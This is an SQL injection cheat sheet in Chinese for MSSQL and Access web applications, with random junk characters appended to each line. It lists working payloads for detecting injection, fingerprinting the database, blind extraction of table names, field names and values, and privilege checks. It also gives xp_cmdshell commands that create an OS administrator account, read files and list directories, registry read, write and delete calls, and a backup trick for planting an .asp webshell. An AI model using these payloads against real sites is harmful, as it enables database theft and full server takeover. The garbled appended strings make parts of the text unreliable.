1.判断是否有注入;and 1=1 ;and 1=2 YZg#H)w%
2.初步判断是否是mssql ;and user>0 al9wNtMT
H$h#n~W~
3.注入参数是字符'and [查询条件] and ''=' j<p.#jkT
I%3[aBz4
4.搜索时没过滤参数的'and [查询条件] and '%25'=' M|*YeVs9#
XIdh9)]^}
5.判断数据库系统 32YbBGDN!f
;o9h|LRs
;and (select count(*) from sysobjects)>0 mssql dht0PZdx?
=u<:'\_
;and (select count(*) from msysobjects)>0 access dkC[SG`
[SPx
MVYd\)\o
DzAZv/h76
6.猜数据库 ;and (select Count(*) from [数据库名])>0 ;V}:0{p
{~U3|_"[pX
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 yH/A9L,Z
v-{g
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 UT<e/
5RP kAC
9.(1)猜字段的ascii值(access) .{V"Gn9!
$'J3
/C7
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 6zi>Q?] 1
<CyU9`ye
(2)猜字段的ascii值(mssql) ]q]xU,
n=.P46|
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 }| DspO
1t
R^
10.测试权限结构(mssql) Qm%PpQ^Lz3
|bY@HpMp
JusU5 e|
EwP2,$;
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 'UX.Q7W
|b
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- SI}s
}t H$:Z
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- r]3-}:vU
]@{Lx>Oh"
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- EgjJywNhd2
\2\{c1df
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- >+2&7u
-> cL)
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- >P/36'
(\AN0_
;and 1=(select IS_MEMBER('db_owner'));-- --5F*a{R|
[l23b{
-YA,Stc-
0fsVbC
11.添加mssql和系统的帐户 -vvyG
\Vyys[MMY8
;exec master.dbo.sp_addlogin username;-- #<*Vc6pC
;exec master.dbo.sp_password null,username,password;-- ~t6q-P
$^]K611w9
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- =Hi@q
"
GcBqe=/B!
;exec master.dbo.xp_cmdshell 'net user username password Yuvi{ 0
;l$$!PJ
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- GK@OdurAR
6r)P&J
;exec master.dbo.xp_cmdshell 'net user username password /add';-- !}&|a~U@`k
`'YX>u /
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- q/i2o[f'n
6D;N.wDZ
H"A%mrb
>e;-$$e
12.(1)遍历目录 )Qbd/zd\U
XqTguO'
;create table dirs(paths varchar(100), id int) }p)K6!J0
@oXGa>Ru
;insert dirs exec master.dbo.xp_dirtree 'c:\' D-gH_ff<]9
IG^@VQ%
;and (select top 1 paths from dirs)>0 ')m!48
jP+yN|
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 28MMH
Q
qN!oN*
9zp!lw~;+
Q0U~s\<
(2)遍历目录 wI%M3XaBws
B8@mL-Z-;
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- /5@YZ?|#2
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 &.)=>2
f"MID6
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 +:MSY p
@Cj!MZ=T
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 9[0iIT$q$
v] m/$X2
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 1Viz`y)^
-,J<X\
/3b*dsYsl
SDnl^a
13.mssql中的存储过程 2b"*~O;
qE)FQeN
xp_regenumvalues 注册表根键, 子键 E7 Cobpm
8U{D)KgS
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 5zl+M`
;4F6
$T'I
xp_regread 根键,子键,键值名 R/hf"E1
r4yz{^G
;exec xp_regread eM7@!CdA9q
(,|,j(=]
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 W`>|OiuF
;: ;E|{e
xp_regwrite 根键,子键, 值名, 值类型, 值 UK =ELvt]
,.,8-In^
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 iJs~NLCgVu
{:X'9NEE
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 vX+oZj
DX_mrG
xp_regdeletevalue 根键,子键,值名 e(c\ U}&
_4S^'FDo
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 "hIYf7r##
5!c/J:z
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 v">?`8V
1T^WMn:U
-U|c~Cqc
-]N2V'QB
14.mssql的backup创建webshell %>|FJ
0z8(9DlTc
use model MB]E[&Q!
8lyIL^
create table cmd(str image); 'xW=qboOp
;UdM8+^/V]
insert into cmd(str) values (''); B,>02EZ
V DFgu
backup database model to disk='c:\l.asp'; ^C>kmo3J
!:(+#
qGinlE&\
[,=?e
15.mssql内置函数 }M07-qIX{
d4Uw+3ikW
;and (select @@version)>0 获得Windows的版本号 OSu&vFKz
>M<3!?fW)
;and user_name()='dbo' 判断当前系统的连接用户是不是sa @6
he!wW
DB vM.'b$
;and (select user_name())>0 爆当前系统的连接用户 Q):#6|u+
|x}TpM;ni
;and (select db_name())>0 得到当前连接的数据库 1XGg0SC
)GB#"2
nrEI0E9
_>gz&
16.简洁的webshell =
0 ~4k#
)nN!% |J
use model GS;GJsAs
pc`P;Eui
create table cmd(str image); j<AOC?
P{Nvt/%
insert into cmd(str) values (''); >y%H2][
g~U(w
backup database model to disk='g:\wwwtest\l.asp';